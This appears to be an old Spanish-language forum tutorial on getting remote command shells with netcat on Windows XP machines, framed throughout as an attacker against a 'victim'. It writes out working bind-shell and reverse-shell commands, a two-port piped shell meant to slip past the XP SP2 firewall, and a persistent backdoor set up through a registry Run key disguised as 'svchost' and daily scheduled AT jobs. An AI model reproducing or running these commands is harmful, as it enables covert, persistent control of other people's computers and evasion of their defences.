YA ESTA DISPONIBLE EN PDFPara todos aquellos que lo quieran descargar aqui estan dos url de descarga:
http://mx.geocities.com/zhyzura/Shell.con.Netcat.by.zhyzura.pdfmirror brujo's
(esta descarga es mas rapida y sin limite de conexion)http://personal.telefonica.terra.es/web/alexb/manus/Shell.con.Netcat.by.zhyzura.zip-[ OBTENER SHELL CON NETCAT ]-
Pues bien, como todos sabemos una de las tantas utilidades que tiene esta maravillosa herramienta es la de poder
devolvernos una shell de un equipo sin ninguna dificultad, inclusive aun estando detras de una red y por que no...
hasta del firewall de windows xp Sp2

.
muchos de los exploits que circulan por la red estan basados en el funcionamiento de netcat, asi de que aprender a
manejarlo es lo primero que se debe de saber.
Espero explicarme de una manera clara y sencilla de manera que a cualquiera que lea esto le quede claro como obtener una shell con netcat.
Ahora si dejemonos de tanta platica y comencemos con la practica

...
Para mi ejemplo voy a utilizar dos equipos:
Equipo atacante [192.168.1.2]: Windows xp sp1.
Equipo victima [192.168.1.4]: Windows xp Sp2.
[SHELL DIRECTA CON LA VICTIMA]Nota: si utilizas un puerto el cual este protegido por el firewall de windows tendras que habilitarlo previamente
para poderlo poner a la escucha.
Esto no es nada dificil de lograr lo unico que necesitamos de hacer es dejar un netcat a la escucha en la victima de
la siguiente manera (solo decir que en win9x seria "command.com" y en un NT seria "cmd.exe"):
nc -l -d -e cmd.exe -p 6000
donde los flags significan lo siguiente:
-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.
-e <prog> (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.
-l (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión
-p <puerto> (Puerto para pegarse)
Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.
-v (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario.
-L Es mas recomendable usar esta opcion que la opcion "-l" ya que al cerrar una conexion podemos volver a iniciarla sin necesidad de que el equipo victima vuelva a reiniciar su pc. (en mis ejemplos voy a usar -l pero sugiero poner -L)
Lo ideal es que tengas el nc.exe dentro de la carpeta system32 en caso contrario tendras que especificar la
direccion en la que se encuentra:
C:\mi carpeta\nc -l -d -e cmd.exe -p 6000
una vez hecho esto solo falta que nosotros nos conectemos a la victima en el puerto especificado (en este caso es el
6000), y asi nos devolvera la shell:
nc -vv 192.168.1.4 6000
Recuerden que para que este tipo de conexion funcione, la victima tiene que tener una "ip publica", esto es que sea
visible por cualquier equipo con el simple hecho de que este conectedo a internet.
[REVERSE SHELL CON NETCAT]Este tipo de conexion es ideal para equipos que se encuentran dentro de una red, lo unico que necesitamos es que el
equipo atacante tenga una "ip publica", de esta manera sera la victima quien se conecte a nosotros y no nosotros con
el.
Para ello primero tenemos que dejar un netcat a la escucha en el equipo atacante de la siguiente manera:
nc -vv -l -p 6000
ahora que el atacante esta preparado solo tenemos que hacer que la victima "sirva" la shell al puerto que tiene en
escucha el equipo atacante, de la siguiente manera:
nc -d -e cmd.exe 192.168.1.2 6000
[VOLTEAR LA SHELL CON NETCAT]Como habran observado en los dos ejemplos anteriores para poder hacer una conexion exitosa con la victima, un
requisito indispensable es que el puerto que estemos utilizando lo tengamos habilitado por el firewall, asi de que
si la victima tiene el firewall activado a la hora de que realicemos dicho proceso le va a saltar la pantalla de
alerta del firewall que tiene incluido el Sp2 y eso nos va a delatar al momento

.
por lo tanto lo mejor que podemos hacer para que esto no ocurra seria utilizar puertos que no esten filtrados por un
firewall o por un router con firewall integrado, para ello vamos a utilizar dos puertos uno para enviar la
informacion y otro para resivirla, y como todos sabran, la mayoria de los firewall tienen habilitados los puertos
80(http) y 25(smtp), inclusive el firewall del Sp2 los tiene habilitados por default (por eso adoro a microsoft
xDDD).
Suena algo raro y ademas dificil pero ya veran que es muy facil de hacer (este tipo de conexion funciona tambien con
equipos en los cuales la victima se encuentra dentro de una red).
En primer lugar vamos a necesitar poner dos netcat a la escucha en el equipo atacante (cada uno en su propia ventana
o indicador de comando, como gusten llamarle).
en uno ponemos el puerto 80:
nc -vv -l -p 80
y en el otro ponemos el puerto 25:
nc -vv -l -p 25
Ya que tenemos todo listo, basta con que el equipo victima ejecute el siguiente comando (recordar que en mi ejemplo
el atacante tiene ip 192.168.1.2 o tambien puede ser uno que posea una ip publica a fin de cuentas es una conexion
inversa

):
nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25
y walaa!!!!! ya tenemos la shell de nuestra victima y el firewall del sp2 no dira ni pio, ya que por defecto admite
la entrada de informacion por el puerto 80 y la salida por el 25.
Ahora bien ¿como vamos a mandar los comandos a la shell remota y donde vamos a ver los resultados?
como dije anteriormente nosotros le vamos a enviar los comandos desde la ventana en la cual teniamos el netcat a la
escucha en el puerto 80 y automaticamente la victima nos va a devolver los resultados en la ventana que tiene el
netcat a la escucha en el puerto 25.
[DEJARLO COMO PUERTA TRASERA]Una manera muy usada seria dejar una llave en el registro que nos ejecute el netcat cada que se prenda el pc
victima, para ello tenemos que hacer lo siguiente:
damos un click en inicio > ejecutar > regedit
una vez abierto el registro de windows nos ubicamos en la siguiente rama:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
damos click derecho > nuevo > valor alfanumerico.
le pònemos un nombre que no levante sospechas como rundll32, svchost, etc. ( no le vallan a poner servernetcat,
virus, etc por que los van a cachar rapidamente)
Despues le damos click derecho al valor que creamos > modificar. Y agregamos la ruta del netcat con sus respectivos
parametros:
si quieren que se quede en un puerto a la escucha:
nc -l -d -e cmd.exe -p <puerto>
si quieren que conecte con una ip:
nc -d -e cmd.exe ip.ip.ip.ip <puerto>
si quieren voltear la shell para que no la detcte un firewall seria (recuerden que es con la ip del atacante):
nc ip.ip.ip.ip <puerto> | cmd.exe | nc ip.ip.ip.ip <puerto>
solo agregar que si lo ponemos de esta manera, a la hora de que inicie el pc va a aparecer la ventana de ms-dos y si la cierra la victima perderemos la shell...
por lo tanto no olvidemos que podemos agregar la opcion -d para que permanesca oculta.
haciendo lo dicho anteriormente quedaria el comando de la siguiente manera:
nc -d ip.ip.ip.ip <puerto> | cmd.exe | nc -d ip.ip.ip.ip <puerto>
Para agregar una nueva llave al registro desde una shell remota lo que tenemos que teclear seria lo siguiente:
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Netcat /t REG_SZ /d "C:\nc -l -d
-e cmd.exe -p 6000"
(asi seria tomendo en cuenta que el nc esta en el directorio raiz del hdd)
una desventaja de agregar este tipo de entradas es que en las conexiones inversas el atacante primero tendria que
dejar un netcat a la escucha si no no funcionaria por lo tanto lo que podemos hacer aqui es dejarlo programado para
que se ejecute diariamente a determinada hora que nosotros ya tengamos previamente nuestro netcat a la espera de la
shell, para esto vamos a utilizar el comando
AT, la sintaxis seria la siguiente:
at <hora> <dia> "comando"
por lo tanto quedaria asi:
at 6:00p /every:1 ""nc -d -e cmd.exe 192.168.1.2 6000""
o tambien:
at 6:00p /every:1 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""
de esta manera ejecutara el netcat todos los dias 1 de cada mes del año a las 6:00 p.m. asi de que si quieren que se ejecute todos los dias hagan lo mismo agregando los numeros 1,2,3...30, no los intenten poner todos de un solo jalon por que no les va a funcionar, lo van a tener que hacer de uno por uno:
at 6:00p /every:1 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""
at 6:00p /every:2 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""
at 6:00p /every:3 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""
Asi seria tomando en cuenta de que el nc ya se encuentre en system32, en caso contrario van a tener que poner la ruta del netcat. ejemplo:
at 6:00p /every:1 ""c:\directorionetcat\nc -d 192.168.1.2 80 | cmd.exe | c:\directorionetcat\nc -d 192.168.1.2 25""
para verificar que se haya agregado la tarea solo tecleen:
at
si quieren ver todas las opciones del comando at solo teclen:
at -h
Espero les haya gustado mi explicacion, cualquier duda o aclaracion sobre el presente texto favor de preguntar o
decirmelo lo antes posible

Referencia:
Sacandole Provecho a una exelente Utilidad by kliberzaludox y Gracias a Gospel por animarme a hacer este texto

(siempre terminas convenciendome de hacer este tipo de cosas xDD)